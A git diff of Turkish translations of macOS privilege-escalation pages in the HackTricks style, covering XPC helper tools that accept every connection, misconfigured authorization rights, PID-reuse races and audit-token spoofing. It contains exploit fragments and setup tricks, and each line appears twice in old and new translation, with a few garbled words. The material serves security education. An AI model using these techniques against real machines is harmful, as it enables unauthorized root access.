Bir uygulama **ayrılmış bir kullanıcı olarak eylemler gerçekleştirmesi** gerektiğinde, genellikle uygulamayı ayrıcalıklı bir kullanıcı olarak çalıştırmak yerine, bu eylemleri gerçekleştirmek için uygulamadan çağrılabilecek bir XPC hizmeti olarak kök olarak bir HelperTool kurar. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir. Bir uygulama **ayrılmış bir kullanıcı olarak eylemleri gerçekleştirmesi** gerektiğinde, genellikle uygulamayı ayrıcalıklı bir kullanıcı olarak çalıştırmak yerine, bu eylemleri gerçekleştirmek için uygulamadan çağrılabilecek bir XPC hizmeti olarak kök olarak bir HelperTool kurar. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir.
### ShouldAcceptNewConnection her zaman EVET ### ShouldAcceptNewConnection her zaman YES
Bir örnek [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) içinde bulunabilir. `App/AppDelegate.m` dosyasında **HelperTool** ile **bağlanmaya** çalışır. Ve `HelperTool/HelperTool.m` dosyasında **`shouldAcceptNewConnection`** **önceden belirtilen** gereksinimlerin hiçbirini **kontrol etmeyecek**. Her zaman EVET döndürecektir: Bir örnek [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) içinde bulunabilir. `App/AppDelegate.m` dosyasında **HelperTool** ile **bağlanmaya** çalışır. Ve `HelperTool/HelperTool.m` dosyasında **`shouldAcceptNewConnection`** **önceden belirtilen** gereksinimlerin hiçbirini **kontrol etmeyecek**. Her zaman YES döndürecektir:
```objectivec ```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection // Called by our XPC listener when a new connection comes in. We configure the connection
@ -27,7 +27,7 @@ newConnection.exportedObject = self;
return YES; return YES;
} }
``` ```
Daha fazla bilgi için bu kontrolü doğru bir şekilde yapılandırma hakkında: Daha fazla bilgi için bu kontrolü doğru bir şekilde yapılandırma hakkında bakın:
{{#ref}} {{#ref}}
macos-xpc-connecting-process-check/ macos-xpc-connecting-process-check/
@ -62,7 +62,7 @@ if (self->_authRef) {
[self.window makeKeyAndOrderFront:self]; [self.window makeKeyAndOrderFront:self];
} }
``` ```
`Common/Common.m` dosyasındaki `setupAuthorizationRights` fonksiyonu, uygulamanın haklarını `/var/db/auth.db` yetki veritabanında saklayacaktır. Veritabanında henüz bulunmayan hakları yalnızca ekleyeceğine dikkat edin: `Common/Common.m` dosyasındaki `setupAuthorizationRights` fonksiyonu, uygulamanın haklarını `/var/db/auth.db` yetki veritabanında saklayacaktır. Sadece veritabanında henüz bulunmayan hakları ekleyeceğine dikkat edin:
```objectivec ```objectivec
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef + (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header. // See comment in header.
@ -172,7 +172,7 @@ block(authRightName, authRightDefault, authRightDesc);
}]; }];
} }
``` ```
Bu, bu sürecin sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. Her **yöntem** için **kimlik doğrulama gerektiren**, **izin adı** ve **`kCommandKeyAuthRightDefault`** bulabileceğinizi unutmayın. Sonuncusu **bu hakkı kimin alabileceğini gösterir**. Bu, bu sürecin sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. Her **yöntem** için **kimlik doğrulaması gerektiren**, **izin adı** ve **`kCommandKeyAuthRightDefault`** bulabileceğinizi unutmayın. Sonuncusu **bu hakkı kimin alabileceğini gösterir**.
Bir hakkın kimler tarafından erişilebileceğini belirtmek için farklı kapsamlar vardır. Bunlardan bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özet olarak: Bir hakkın kimler tarafından erişilebileceğini belirtmek için farklı kapsamlar vardır. Bunlardan bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özet olarak:
@ -180,7 +180,7 @@ Bir hakkın kimler tarafından erişilebileceğini belirtmek için farklı kapsa
### Hakların Doğrulanması ### Hakların Doğrulanması
`HelperTool/HelperTool.m` içinde **`readLicenseKeyAuthorization`** fonksiyonu, çağrının **böyle bir yöntemi** çalıştırmak için yetkilendirilip yetkilendirilmediğini kontrol eder ve **`checkAuthorization`** fonksiyonunu çağırır. Bu fonksiyon, çağıran süreç tarafından gönderilen **authData**'nın **doğru formatta** olup olmadığını kontrol eder ve ardından belirli bir yöntemi çağırmak için **neye ihtiyaç olduğunu** kontrol eder. Her şey yolunda giderse, **dönen `error` `nil` olacaktır**: `HelperTool/HelperTool.m` içinde **`readLicenseKeyAuthorization`** fonksiyonu, çağrının **böyle bir yöntemi** **çalıştırmak için yetkilendirilip yetkilendirilmediğini** kontrol eder ve **`checkAuthorization`** fonksiyonunu çağırır. Bu fonksiyon, çağıran süreç tarafından gönderilen **authData**'nın **doğru formatta** olup olmadığını kontrol eder ve ardından belirli bir yöntemi çağırmak için **neye ihtiyaç olduğunu** kontrol eder. Her şey yolunda giderse, **dönen `error` `nil` olacaktır**:
```objectivec ```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{ {
@ -228,11 +228,11 @@ assert(junk == errAuthorizationSuccess);
return error; return error;
} }
``` ```
Not edin ki, bu yöntemi çağırma hakkını **kontrol etmek için** `authorizationRightForCommand` fonksiyonu sadece daha önceki yorum nesnesini **`commandInfo`** kontrol edecektir. Ardından, fonksiyonu çağırma **haklarına sahip olup olmadığını** kontrol etmek için **`AuthorizationCopyRights`** çağrılacaktır (bayrakların kullanıcı ile etkileşime izin verdiğini unutmayın). Not edin ki, bu yöntemi çağırma hakkını **kontrol etmek için** `authorizationRightForCommand` fonksiyonu sadece daha önceki yorum nesnesini **`commandInfo`** kontrol edecektir. Ardından, fonksiyonu çağırma **hakkına sahip olup olmadığını** kontrol etmek için **`AuthorizationCopyRights`** çağrılacaktır (bayrakların kullanıcı ile etkileşime izin verdiğini unutmayın).
Bu durumda, `readLicenseKeyAuthorization` fonksiyonunu çağırmak için `kCommandKeyAuthRightDefault` `@kAuthorizationRuleClassAllow` olarak tanımlanmıştır. Yani **herkes bunu çağırabilir**. Bu durumda, `readLicenseKeyAuthorization` fonksiyonunu çağırmak için `kCommandKeyAuthRightDefault` `@kAuthorizationRuleClassAllow` olarak tanımlanmıştır. Yani **herkes bunu çağırabilir**.
### DB Bilgileri ### DB Bilgisi
Bu bilginin `/var/db/auth.db` içinde saklandığı belirtilmiştir. Saklanan tüm kuralları listelemek için: Bu bilginin `/var/db/auth.db` içinde saklandığı belirtilmiştir. Saklanan tüm kuralları listelemek için:
```sql ```sql
@ -252,11 +252,11 @@ security authorizationdb read com.apple.safaridriver.allow
- Bu en doğrudan anahtardır. `false` olarak ayarlandığında, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlaması gerekmediğini belirtir. - Bu en doğrudan anahtardır. `false` olarak ayarlandığında, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlaması gerekmediğini belirtir.
- Bu, aşağıdaki 2 anahtardan biriyle veya kullanıcının ait olması gereken bir grubu belirtmek için kullanılır. - Bu, aşağıdaki 2 anahtardan biriyle veya kullanıcının ait olması gereken bir grubu belirtmek için kullanılır.
2. **'allow-root': 'true'** 2. **'allow-root': 'true'**
- Bir kullanıcı root kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip), ve bu anahtar `true` olarak ayarlandıysa, root kullanıcı bu hakkı daha fazla kimlik doğrulaması olmadan elde edebilir. Ancak, genellikle root kullanıcı statüsüne ulaşmak zaten kimlik doğrulaması gerektirdiğinden, bu çoğu kullanıcı için "kimlik doğrulaması yok" senaryosu değildir. - Bir kullanıcı root kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip) ve bu anahtar `true` olarak ayarlandıysa, root kullanıcı bu hakkı daha fazla kimlik doğrulaması olmadan elde edebilir. Ancak, genellikle root kullanıcı statüsüne ulaşmak zaten kimlik doğrulaması gerektirdiğinden, bu çoğu kullanıcı için "kimlik doğrulaması yok" senaryosu değildir.
3. **'session-owner': 'true'** 3. **'session-owner': 'true'**
- `true` olarak ayarlandığında, oturumun sahibi (şu anda oturum açmış kullanıcı) otomatik olarak bu hakkı alır. Kullanıcı zaten oturum açmışsa, bu ek kimlik doğrulamasını atlayabilir. - `true` olarak ayarlandığında, oturumun sahibi (şu anda oturum açmış kullanıcı) otomatik olarak bu hakkı alır. Kullanıcı zaten oturum açmışsa, bu ek kimlik doğrulamasını atlayabilir.
4. **'shared': 'true'** 4. **'shared': 'true'**
- Bu anahtar kimlik doğrulaması olmadan hak vermez. Bunun yerine, `true` olarak ayarlandığında, hak kimlik doğrulaması yapıldıktan sonra birden fazla süreç arasında paylaşılabileceği anlamına gelir; her birinin yeniden kimlik doğrulaması yapmasına gerek kalmaz. Ancak, hakkın başlangıçta verilmesi yine de kimlik doğrulaması gerektirecektir, aksi takdirde `'authenticate-user': 'false'` gibi diğer anahtarlarla birleştirilmedikçe. - Bu anahtar kimlik doğrulaması olmadan hak vermez. Bunun yerine, `true` olarak ayarlandığında, hak kimlik doğrulaması yapıldıktan sonra birden fazla süreç arasında paylaşılabileceği anlamına gelir; her birinin yeniden kimlik doğrulaması yapmasına gerek kalmaz. Ancak, hakkın başlangıçta verilmesi yine de kimlik doğrulaması gerektirecektir, aksi takdirde `'authenticate-user': 'false'` gibi diğer anahtarlarla birleştirilmelidir.
İlginç hakları elde etmek için [**bu scripti**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) kullanabilirsiniz: İlginç hakları elde etmek için [**bu scripti**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) kullanabilirsiniz:
```bash ```bash
@ -285,7 +285,7 @@ Kullanıcı etkileşimi olmadan bazı ayrıcalıklı eylemleri çağırmak için
Sonra, XPC servisi ile iletişim kurabilmek için protokol şemasını bulmanız gerekiyor. Sonra, XPC servisi ile iletişim kurabilmek için protokol şemasını bulmanız gerekiyor.
**`shouldAcceptNewConnection`** fonksiyonu, dışa aktarılan protokolü gösterir: **`shouldAcceptNewConnection`** fonksiyonu, dışa aktarılan protokolü belirtir:
<figure><img src="../../../../../images/image (44).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
@ -305,9 +305,9 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@end @end
[...] [...]
``` ```
Son olarak, onunla iletişim kurmak için **ık Mach Servisinin adını** bilmemiz gerekiyor. Bunu bulmanın birkaç yolu vardır: Son olarak, onunla iletişim kurmak için **maruz kalan Mach Servisinin adını** bilmemiz gerekiyor. Bunu bulmanın birkaç yolu vardır:
- **`[HelperTool init]`** içinde Mach Servisinin kullanıldığını görebilirsiniz: - **`[HelperTool init]`** içinde kullanılan Mach Servisini görebilirsiniz:
<figure><img src="../../../../../images/image (41).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (41).png" alt=""><figcaption></figcaption></figure>
@ -330,7 +330,7 @@ Bu örnekte oluşturulur:
- Fonksiyonlarla protokolün tanımı - Fonksiyonlarla protokolün tanımı
- Erişim istemek için kullanılacak boş bir auth - Erişim istemek için kullanılacak boş bir auth
- XPC hizmetine bir bağlantı - XPC servisine bir bağlantı
- Bağlantı başarılıysa fonksiyona bir çağrı - Bağlantı başarılıysa fonksiyona bir çağrı
```objectivec ```objectivec
// gcc -framework Foundation -framework Security expl.m -o expl // gcc -framework Foundation -framework Security expl.m -o expl

View File

@ -38,7 +38,7 @@ macos-xpc_connection_get_audit_token-attack.md
### Trustcache - Aşağı Dönüş Saldırıları Önleme ### Trustcache - Aşağı Dönüş Saldırıları Önleme
Trustcache, yalnızca izin verilen değiştirilmemiş ikili dosyaların çalıştırılmasını sağlayan Apple Silicon makinelerinde tanıtılan bir savunma yöntemidir. Bu, aşağı sürüm versiyonlarının çalıştırılmasını önler. Trustcache, yalnızca izin verilen değiştirilmemiş ikili dosyaların çalıştırılmasını sağlamak için Apple Silicon makinelerinde tanıtılan bir savunma yöntemidir ve Apple ikili dosyalarının CDHSAH veritabanını depolar. Bu, aşağı sürüm versiyonlarının çalıştırılmasını önler.
### Kod Örnekleri ### Kod Örnekleri

View File

@ -4,24 +4,24 @@
## PID Yeniden Kullanımı ## PID Yeniden Kullanımı
Bir macOS **XPC servisi**, çağrılan süreci **PID**'ye göre kontrol ediyorsa ve **denetim belirteci**'ne göre değilse, PID yeniden kullanımı saldırısına karşı savunmasızdır. Bu saldırı, bir **yarı zamanlı durum** üzerine kuruludur; burada bir **istismar**, **XPC** servisine **mesajlar gönderecek** ve hemen ardından **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** ile **izin verilen** ikiliyi çalıştıracaktır. Bir macOS **XPC servisi**, çağrılan süreci **PID**'ye göre kontrol ediyorsa ve **denetim belirteci**'ne göre değilse, PID yeniden kullanımı saldırısına karşı savunmasızdır. Bu saldırı, bir **yarış durumu** temelinde gerçekleşir; burada bir **sömürü**, **XPC** servisine **mesajlar gönderecek** ve hemen ardından **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** ile **izin verilen** ikiliyi çalıştıracaktır.
Bu fonksiyon, **izin verilen ikilinin PID'sini** alacak, ancak **kötü niyetli XPC mesajı** daha önce gönderilmiş olacaktır. Dolayısıyla, eğer **XPC** servisi, göndericiyi **doğrulamak** için **PID**'yi kullanır ve **`posix_spawn`**'ın çalıştırılmasından SONRA kontrol ederse, bunun **yetkili** bir süreçten geldiğini düşünecektir. Bu fonksiyon, **izin verilen ikilinin PID'sini** alacak, ancak **kötü niyetli XPC mesajı** daha önce gönderilmiş olacaktır. Dolayısıyla, eğer **XPC** servisi, göndereni **doğrulamak** için **PID**'yi kullanır ve **`posix_spawn`**'dan sonra kontrol ederse, bunun **yetkili** bir süreçten geldiğini düşünecektir.
### İstismar örneği ### Sömürü örneği
Eğer **`shouldAcceptNewConnection`** fonksiyonunu veya onun tarafından çağrılan ve **`processIdentifier`**'ı çağıran bir fonksiyonu bulursanız ve **`auditToken`**'ı çağırmıyorsa, bu büyük olasılıkla **süreç PID'sini** doğruladığı anlamına gelir.\ Eğer **`shouldAcceptNewConnection`** fonksiyonunu veya onun tarafından çağrılan ve **`processIdentifier`**'ı çağıran bir fonksiyonu bulursanız ve **`auditToken`**'ı çağırmıyorsa, bu büyük olasılıkla **süreç PID'sini** doğruladığı anlamına gelir.\
Örneğin, bu resimde (referanstan alınmıştır) olduğu gibi: Örneğin, bu resimde (referanstan alınmıştır):
<figure><img src="../../../../../../images/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure> <figure><img src="../../../../../../images/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
İstismarın 2 parçasını görmek için bu örnek istismarı kontrol edin (yine, referanstan alınmıştır): Sömürü örneğini kontrol edin (yine, referanstan alınmıştır) ve sömürünün 2 parçasını görün:
- Birkaç fork **üreten** bir parça - Bir tanesi **birkaç fork** oluşturur
- **Her fork**, mesajı gönderdikten hemen sonra **`posix_spawn`**'ı çalıştırırken **yükü** XPC servisine **gönderecektir**. - **Her fork**, mesajı gönderdikten hemen sonra **`posix_spawn`**'ı çalıştırırken **XPC** servisine **yükü** **gönderecektir**.
> [!CAUTION] > [!CAUTION]
> İstismarın çalışması için ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** olarak ayarlanması veya istismar içine şunların konulması önemlidir: > Sömürünün çalışması için ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** olarak ayarlamak veya sömürü içine koymak önemlidir:
> >
> ```objectivec > ```objectivec
> asm(".section __DATA,__objc_fork_ok\n" > asm(".section __DATA,__objc_fork_ok\n"
@ -31,7 +31,7 @@ Eğer **`shouldAcceptNewConnection`** fonksiyonunu veya onun tarafından çağr
{{#tabs}} {{#tabs}}
{{#tab name="NSTasks"}} {{#tab name="NSTasks"}}
İlk seçenek, **`NSTasks`** kullanarak çocukları başlatmak için argüman ile RC'yi istismar etmektir. İlk seçenek, **`NSTasks`** kullanarak çocukları başlatmak ve RC'yi sömürmek için argüman.
```objectivec ```objectivec
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ // Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl // gcc -framework Foundation expl.m -o expl
@ -140,7 +140,7 @@ return 0;
{{#endtab}} {{#endtab}}
{{#tab name="fork"}} {{#tab name="fork"}}
Bu örnek, **PID yarış durumu**nu istismar edecek **çocuk süreçleri başlatmak için ham **`fork`** kullanır** ve ardından **bir Sert bağlantı aracılığıyla başka bir yarış durumunu istismar eder:** Bu örnek, **PID yarış durumu**nu istismar edecek **çocuk süreçleri başlatmak için ham **`fork`** kullanır** ve ardından **bir Hard link aracılığıyla başka bir yarış durumunu istismar eder:**
```objectivec ```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES // export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl // gcc -framework Foundation expl.m -o expl

View File

@ -13,7 +13,7 @@ Eğer Mach Mesajlarının ne olduğunu bilmiyorsanız bu sayfayı kontrol etmeye
{{#endref}} {{#endref}}
Şu anda hatırlamanız gereken ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\ Şu anda hatırlamanız gereken ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach mesajları bir _mach portu_ üzerinden gönderilir, bu da mach çekirdeğine entegre edilmiş **tek alıcı, çoklu gönderici iletişim** kanalını ifade eder. **Birden fazla süreç, bir mach portuna mesaj gönderebilir**, ancak herhangi bir anda **yalnızca bir süreç ondan okuyabilir**. Dosya tanımlayıcıları ve soketler gibi, mach portları çekirdek tarafından tahsis edilir ve yönetilir ve süreçler yalnızca hangi mach portlarını kullanmak istediklerini belirtmek için kullanabilecekleri bir tam sayı görürler. Mach mesajları bir _mach portu_ üzerinden gönderilir, bu da mach çekirdeğine entegre edilmiş **tek alıcı, çoklu gönderici iletişim** kanalını ifade eder. **Birden fazla süreç, bir mach portuna mesaj gönderebilir**, ancak herhangi bir anda **yalnızca tek bir süreç ondan okuyabilir**. Dosya tanımlayıcıları ve soketler gibi, mach portları çekirdek tarafından tahsis edilir ve yönetilir ve süreçler yalnızca hangi mach portlarını kullanmak istediklerini belirtmek için kullanabilecekleri bir tam sayı görürler.
## XPC Bağlantısı ## XPC Bağlantısı
@ -43,14 +43,14 @@ Bilmeniz gereken ilginç bir şey, **XPC'nin soyutlamasının bire bir bağlant
- **B** hizmeti, kullanıcının yapamayacağı **ayrılmış bir işlevselliği** A hizmetinde çağırabilir - **B** hizmeti, kullanıcının yapamayacağı **ayrılmış bir işlevselliği** A hizmetinde çağırabilir
- **A** hizmeti, bir **`dispatch_async`** içinde **bağlantı** için **olay işleyicisi** içinde _**değil**_ iken **`xpc_connection_get_audit_token`** çağrısı yapar. - **A** hizmeti, bir **`dispatch_async`** içinde **bağlantı** için **olay işleyicisi** içinde _**değil**_ iken **`xpc_connection_get_audit_token`** çağrısı yapar.
- Böylece, **farklı** bir mesaj **Denetim Belirtecini** **üzerine yazabilir** çünkü olay işleyicisi dışında asenkron olarak dağıtılmaktadır. - Böylece, **farklı** bir mesaj **Denetim Belirtecini** **üzerine yazabilir** çünkü olay işleyicisi dışında asenkron olarak dağıtılmaktadır.
- Sömürü, **A** hizmetine **gönderme** hakkını **B** hizmetine verir. - Sömürü, **B hizmetine A hizmetine gönderme hakkını** verir.
- Böylece **B** hizmeti aslında **A** hizmetine **mesajlar** **gönderiyor**. - Böylece **B** hizmeti aslında **A hizmetine** **mesajlar** **gönderiyor**.
- **Sömürü**, **ayrılmış eylemi** **çağırmaya** çalışır. Bir RC'de **A** hizmeti bu **eylemin** yetkilendirmesini **kontrol ederken**, **B** hizmeti Denetim belirtecini **üzerine yazmıştır** (sömürüye ayrılmış eylemi çağırma erişimi verir). - **Sömürü**, **ayrılmış eylemi** **çağırmaya** çalışır. Bir RC'de **A hizmeti**, bu **eylemin** yetkilendirmesini **kontrol ederken**, **B hizmeti Denetim belirtecini** üzerine yazmıştır (sömürüye, ayrılmış eylemi çağırma erişimi verir).
2. Variant 2: 2. Variant 2:
- **B** hizmeti, kullanıcının yapamayacağı **ayrılmış bir işlevselliği** A hizmetinde çağırabilir - **B** hizmeti, kullanıcının yapamayacağı **ayrılmış bir işlevselliği** A hizmetinde çağırabilir
- Sömürü, **A** hizmeti ile bağlantı kurar ve **yanıt bekleyen** bir **mesaj** gönderir, belirli bir **yanıt** **portuna**. - Sömürü, **A hizmetiyle** bağlantı kurar ve **yanıt bekleyen** bir **mesaj** gönderir.
- Sömürü, **B** hizmetine **o yanıt portunu** geçerek bir mesaj gönderir. - Sömürü, **B hizmetine** **o yanıt portunu** geçerek bir mesaj gönderir.
- **B** hizmeti **yanıt verdiğinde**, **A** hizmetine mesaj gönderir, **bu sırada** **sömürü** farklı bir **mesajı A hizmetine** gönderir ve **ayrılmış bir işlevselliğe** ulaşmaya çalışır ve **B**'den gelen yanıtın Denetim belirtecini mükemmel bir anda (Race Condition) üzerine yazmasını bekler. - **B hizmeti yanıt verdiğinde**, **A hizmetine mesaj gönderir**, **bu sırada** **sömürü**, **ayrılmış bir işlevselliğe** ulaşmaya çalışarak **A hizmetine farklı bir mesaj** gönderir ve B'den gelen yanıtın Denetim belirtecini tam zamanında üzerine yazmasını bekler (Race Condition).
## Variant 1: xpc_connection_get_audit_token'ı bir olay işleyicisi dışında çağırma <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a> ## Variant 1: xpc_connection_get_audit_token'ı bir olay işleyicisi dışında çağırma <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
@ -58,15 +58,15 @@ Senaryo:
- Bağlanabileceğimiz iki mach hizmeti **`A`** ve **`B`** (sandbox profiline ve bağlantıyı kabul etmeden önceki yetkilendirme kontrollerine dayanarak). - Bağlanabileceğimiz iki mach hizmeti **`A`** ve **`B`** (sandbox profiline ve bağlantıyı kabul etmeden önceki yetkilendirme kontrollerine dayanarak).
- _**A**_ belirli bir eylem için bir **yetkilendirme kontrolüne** sahip olmalıdır ki **`B`** bunu geçebilir (ancak uygulamamız geçemez). - _**A**_ belirli bir eylem için bir **yetkilendirme kontrolüne** sahip olmalıdır ki **`B`** bunu geçebilir (ancak uygulamamız geçemez).
- Örneğin, eğer B bazı **yetkiler** varsa veya **root** olarak çalışıyorsa, A'dan ayrılmış bir eylemi gerçekleştirmesini istemesine izin verebilir. - Örneğin, eğer B bazı **yetkilere** sahipse veya **root** olarak çalışıyorsa, A'dan ayrılmış bir eylemi gerçekleştirmesini istemesine izin verebilir.
- Bu yetkilendirme kontrolü için, **`A`** denetim belirtecini asenkron olarak elde eder, örneğin `dispatch_async`'dan **`xpc_connection_get_audit_token`** çağrısı yaparak. - Bu yetkilendirme kontrolü için, **`A`**, örneğin `dispatch_async`'dan **`xpc_connection_get_audit_token`** çağrısı yaparak denetim belirtecini asenkron olarak alır.
> [!CAUTION] > [!CAUTION]
> Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini istemek** için **sömürü** tetikleyebilir ve **B'nin `A`'ya mesajlar göndermesini** sağlarken birkaç kez yapabilir. RC **başarılı olduğunda**, **B**'nin **denetim belirteci** bellekte kopyalanacak **ve** **sömürümüzün** isteği **A** tarafından **işlenirken** gerçekleşecektir, bu da **yalnızca B'nin talep edebileceği ayrıcalıklı eyleme erişim sağlar**. > Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini istemek** için **sömürü** tetikleyebilir ve **B'nin `A'ya mesajlar göndermesini** sağlarken birkaç kez yapabilir. RC **başarılı olduğunda**, **B'nin denetim belirteci** bellek içinde **kopyalanacak** ve **sömürümüzün** talebi **A tarafından işlenirken** gerçekleşecektir, bu da **yalnızca B'nin talep edebileceği ayrıcalıklı eyleme erişim sağlar**.
Bu, **`A`** olarak `smd` ve **`B`** olarak `diagnosticd` ile gerçekleşti. [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) fonksiyonu, yeni bir ayrıcalıklı yardımcı araç yüklemek için kullanılabilir ( **root** olarak). Eğer **root olarak çalışan bir süreç** **smd** ile iletişime geçerse, başka kontroller yapılmayacaktır. Bu, **`A`** olarak `smd` ve **`B`** olarak `diagnosticd` ile gerçekleşti. [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) fonksiyonu, yeni bir ayrıcalıklı yardımcı araç yüklemek için kullanılabilir ( **root** olarak). Eğer **root olarak çalışan bir süreç** **smd** ile iletişime geçerse, başka kontroller yapılmayacaktır.
Bu nedenle, **B** hizmeti **`diagnosticd`**'dir çünkü **root** olarak çalışır ve bir süreci **izlemek** için kullanılabilir, bu nedenle izleme başladıktan sonra, **saniyede birden fazla mesaj gönderir.** Bu nedenle, **B hizmeti** **`diagnosticd`**'dir çünkü **root** olarak çalışır ve bir süreci **izlemek** için kullanılabilir, bu nedenle izleme başladıktan sonra, **saniyede birden fazla mesaj gönderir.**
Saldırıyı gerçekleştirmek için: Saldırıyı gerçekleştirmek için:
@ -77,22 +77,22 @@ Saldırıyı gerçekleştirmek için:
![Sömürü sürecini gösteren bir resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) ![Sömürü sürecini gösteren bir resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. Bir sonraki adım, `diagnosticd`'ye seçilen bir süreci (potansiyel olarak kullanıcının kendi süreci) izlemeye başlatmaktır. Aynı anda, `smd`'ye rutin 1004 mesajlarının bir seli gönderilir. Buradaki amaç, yükseltilmiş ayrıcalıklara sahip bir aracı yüklemektir. 4. Bir sonraki adım, `diagnosticd`'ye seçilen bir süreci (potansiyel olarak kullanıcının kendi süreci) izlemeye başlatmaktır. Aynı anda, `smd`'ye rutin 1004 mesajlarının bir seli gönderilir. Buradaki amaç, yükseltilmiş ayrıcalıklara sahip bir aracı yüklemektir.
5. Bu eylem, `handle_bless` fonksiyonu içinde bir yarış koşulunu tetikler. Zamanlama kritik öneme sahiptir: `xpc_connection_get_pid` fonksiyonu, kullanıcının sürecinin PID'sini döndürmelidir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` fonksiyonu, özellikle `connection_is_authorized` alt rutininde, `diagnosticd`'ye ait denetim belirtecini referans almalıdır. 5. Bu eylem, `handle_bless` fonksiyonu içinde bir yarış durumu tetikler. Zamanlama kritik öneme sahiptir: `xpc_connection_get_pid` fonksiyonu, kullanıcının sürecinin PID'sini döndürmelidir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` fonksiyonu, özellikle `connection_is_authorized` alt rutininde, `diagnosticd`'ye ait denetim belirtecini referans almalıdır.
## Variant 2: yanıt yönlendirme ## Variant 2: yanıt yönlendirme
Bir XPC (Çapraz Süreç İletişimi) ortamında, olay işleyicileri eşzamanlı olarak çalışmasa da, yanıt mesajlarının işlenmesi benzersiz bir davranış sergiler. Özellikle, yanıt bekleyen mesajlar göndermek için iki farklı yöntem vardır: Bir XPC (Çapraz Süreç İletişimi) ortamında, olay işleyicileri eşzamanlı olarak çalışmasa da, yanıt mesajlarının işlenmesi benzersiz bir davranış sergiler. Özellikle, yanıt bekleyen mesajlar göndermek için iki farklı yöntem vardır:
1. **`xpc_connection_send_message_with_reply`**: Burada, XPC mesajı belirli bir kuyrukta alınır ve işlenir. 1. **`xpc_connection_send_message_with_reply`**: Burada, XPC mesajı belirlenen bir kuyrukta alınır ve işlenir.
2. **`xpc_connection_send_message_with_reply_sync`**: Tersine, bu yöntemde XPC mesajı mevcut dağıtım kuyruğunda alınır ve işlenir. 2. **`xpc_connection_send_message_with_reply_sync`**: Tersine, bu yöntemde XPC mesajı mevcut dağıtım kuyruğunda alınır ve işlenir.
